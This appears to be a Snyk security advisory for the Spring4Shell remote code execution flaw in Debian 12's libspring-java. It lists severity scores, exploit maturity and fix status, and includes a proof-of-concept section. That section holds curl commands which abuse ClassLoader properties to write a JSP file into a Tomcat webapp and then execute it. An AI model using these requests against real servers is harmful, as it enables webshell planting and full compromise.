Remote Code Execution Affecting libspring-java package, versions *


Severity

Recommended
low

Based on Debian security rating

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    97.5% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-DEBIAN12-LIBSPRINGJAVA-2438308
  • published 1 Apr 2022
  • disclosed 1 Apr 2022

How to fix?

There is no fixed version for Debian:12 libspring-java.

NVD Description

Note: Versions mentioned in the description apply only to the upstream libspring-java package and not the libspring-java package as distributed by Debian. See How to fix? for Debian:12 relevant fixed versions and status.

via manipulation of ClassLoader that is achievable with a POST HTTP request. This could allow an attacker to execute a webshell on a victim's application.

Note: Current public exploits require victim applications to be built with JRE version 9 (or above) and to be packaged as a WAR file that is deployed to Tomcat. However, we have confirmed that it is technically possible for additional exploits to work under additional application configurations as well.

PoC

1/ docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
2/ ./mvnw install
3/ docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4/ curl -X POST \
  -H "pre:<%" \
  -H "post:;%>" \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
  http://localhost:8888/handling-form-submission-complete/greeting
5/ curl http://localhost:8888/handling-form-submission-complete/rce.jsp

CVSS Scores

version 3.1
Expand this section

Snyk

9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical
Expand this section

Red Hat

8.1 high